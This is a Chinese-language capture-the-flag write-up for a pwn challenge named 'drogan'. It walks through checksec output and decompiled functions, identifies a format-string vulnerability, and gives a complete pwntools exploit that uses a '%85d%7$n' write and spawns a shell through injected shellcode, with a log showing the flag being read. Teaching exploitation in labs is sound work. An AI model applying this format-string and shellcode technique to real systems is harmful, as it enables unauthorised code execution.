先丢进虚拟机查看：

```
we are wizard, we will give you hand, you can not defeat dragon by yourself ...
we will tell you two secret ...
secret[0] is 2262010
secret[1] is 2262014
do not tell anyone
What should your character's name be:
fish
Creating a new player.
 This is a famous but quite unusual inn. The air is fresh and the
marble-tiled ground is clean. Few rowdy guests can be seen, and the
furniture looks undamaged by brawls, which are very common in other pubs
all around the world. The decoration looks extremely valuable and would fit
into a palace, but in this city it's quite ordinary. In the middle of the
room are velvet covered chairs and benches, which surround large oaken
tables. A large sign is fixed to the northern wall behind a wooden bar. In
one corner you notice a fireplace.
There are two obvious exits: east, up.
But strange thing is ,no one there.
So, where you will go?east or up?:
east
You travel a short distance east.That's odd, anyone disappear suddenly
, what happend?! You just travel , and find another hole
You recall, a big black hole will suckk you into it! Know what should you do?
go into there(1), or leave(0)?:

d
Ahu!!!!!!!!!!!!!!!A Dragon has appeared!!
Dragon say: HaHa! you were supposed to have a normal
```

```
fish@ubuntu:/mnt/hgfs/share$ checksec drogan
[*] '/mnt/hgfs/share/drogan'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

开了 NX 和 canary

丢进 IDA 查看：

main 函数

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _DWORD *v3; // rax
  _DWORD *v4; // ST18_8

  setbuf(stdout, 0LL);
  alarm(0x3Cu);
  sub_400996(60LL, 0LL);
  v3 = malloc(8uLL);
  v4 = v3;
  *v3 = 68;
  v3[1] = 85;
  puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
  puts("we will tell you two secret ...");
  printf("secret[0] is %x\n", v4, a2);
  printf("secret[1] is %x\n", v4 + 1);
  puts("do not tell anyone ");
  sub_400D72(v4);
  puts("The End.....Really?");
  return 0LL;
}
```

sub400d72 函数

```
unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("What should your character's name be:");
  _isoc99_scanf("%s", &s);
  if ( strlen(&s) <= 0xC )
  {
    puts("Creating a new player.");
    sub_400A7D("Creating a new player.");
    sub_400BB9();
    sub_400CA6(a1);
  }
  else
  {
    puts("Hei! What's up!");
  }
  return __readfsqword(0x28u) ^ v3;
}
```

sub_400A7D 函数

```
1  unsigned __int64 sub_400A7D()
2  {
3    char s1; // [rsp+0h] [rbp-10h]
4    unsigned __int64 v2; // [rsp+8h] [rbp-8h]
5
6    v2 = __readfsqword(0x28u);
7    puts(" This is a famous but quite unusual inn. The air is fresh and the");
8    puts("marble-tiled ground is clean. Few rowdy guests can be seen, and the");
9    puts("furniture looks undamaged by brawls, which are very common in other pubs");
10   puts("all around the world. The decoration looks extremely valuable and would fit");
11   puts("into a palace, but in this city it's quite ordinary. In the middle of the");
12   puts("room are velvet covered chairs and benches, which surround large oaken");
13   puts("tables. A large sign is fixed to the northern wall behind a wooden bar. In");
14   puts("one corner you notice a fireplace.");
15   puts("There are two obvious exits: east, up.");
16   puts("But strange thing is ,no one there.");
17   puts("So, where you will go?east or up?:");
18   while ( 1 )
19   {
20     _isoc99_scanf("%s", &s1);
21     if ( !strcmp(&s1, "east") || !strcmp(&s1, "east") )
22       break;
23     puts("hei! I'm secious!");
24     puts("So, where you will go?:");
25   }
26   if ( strcmp(&s1, "east") )
27   {
28     if ( !strcmp(&s1, "up") )
29       sub_4009DD(&s1, "up");
30     puts("YOU KNOW WHAT YOU DO?");
31     exit(0);
32   }
33   return __readfsqword(0x28u) ^ v2;
34 }
```

第一个输入必须为 east

sub400bb9 函数

```
1  unsigned __int64 sub_400BB9()
2  {
3    int v1; // [rsp+4h] [rbp-7Ch]
4    __int64 v2; // [rsp+8h] [rbp-78h]
5    char format; // [rsp+10h] [rbp-70h]
6    unsigned __int64 v4; // [rsp+78h] [rbp-8h]
7
8    v4 = __readfsqword(0x28u);
9    v2 = 0LL;
10   puts("You travel a short distance east.That's odd, anyone disappear suddenly");
11   puts(", what happend?! You just travel , and find another hole");
12   puts("You recall, a big black hole will suckk you into it! Know what should you do?");
13   puts("go into there(1), or leave(0)?:");
14   _isoc99_scanf("%d", &v1);
15   if ( v1 == 1 )
16   {
17     puts("A voice heard in your mind");
18     puts("'Give me an address'");
19     _isoc99_scanf("%ld", &v2);
20     puts("And, you wish is:");
21     _isoc99_scanf("%s", &format);
22     puts("Your wish is");
23     printf(&format, &format);
24     puts("I hear it, I hear it....");
25   }
26   return __readfsqword(0x28u) ^ v4;
27 }
```

存在字符串格式化漏洞

sub400ca6 函数

```
1  unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
2  {
3    void *v1; // rsi
4    unsigned __int64 v3; // [rsp+18h] [rbp-8h]
5
6    v3 = __readfsqword(0x28u);
7    puts("Ahu!!!!!!!!!!!!!!!A Dragon has appeared!!");
8    puts("Dragon say: HaHa! you were supposed to have a normal");
9    puts("RPG game, but I have changed it! you have no weapon and ");
10   puts("skill! you could not defeat me !");
11   puts("That's sound terrible! you meet final boss!but you level is ONE!");
12   if ( *a1 == a1[1] )
13   {
14     puts("Wizard: I will help you! USE YOU SPELL");
15     v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
16     read(0, v1, 0x100uLL);
17     ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
18   }
19   return __readfsqword(0x28u) ^ v3;
20 }
```

传入的参数 a1 就是 main 函数里的 v4

main 函数里的一个细节

```
9   v3 = malloc(8uLL);
10  v4 = (__int64)v3;
11  *v3 = 68;
12  v3[1] = 85;
```

v3 先开辟空间在赋给 v4 后才赋值

这样根据字符串格式化漏洞写出 exp

```python
from pwn import *

#r=process('./drogan')
r=remote('111.198.29.45',32884)

context(arch='amd64', os='linux', log_level='debug')

r.recvuntil("secret[0] is ")
addr=int(r.recvuntil("\n")[:-1],16)

r.recvline("What should your character's name be:")
r.sendline("fish")

r.recvline("So, where you will go?east or up?:")
r.sendline("east")

r.recvline("go into there(1), or leave(0)?:")
r.sendline("1")

r.recvline("'Give me an address'")
r.sendline(str(addr))

r.recvline("And, you wish is:")
r.sendline("%85d%7$n")

shellcode = asm(shellcraft.sh())
r.sendlineafter("USE YOU SPELL", shellcode)

r.interactive()
```

得到 flag

```
[DEBUG] Received 0x24 bytes:
    'bin\n'
    'dev\n'
    'flag\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
    'string\n'
bin
dev
flag
lib
lib32
lib64
string
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2d bytes:
    'cyberpeace{d00eac67269ad45e633c790683afb7cd}\n'
cyberpeace{d00eac67269ad45e633c790683afb7cd}
[*] Got EOF while reading in interactive
$
```

涉及构造 shellcode

https://blog.csdn.net/qq_35495684/article/details/79583232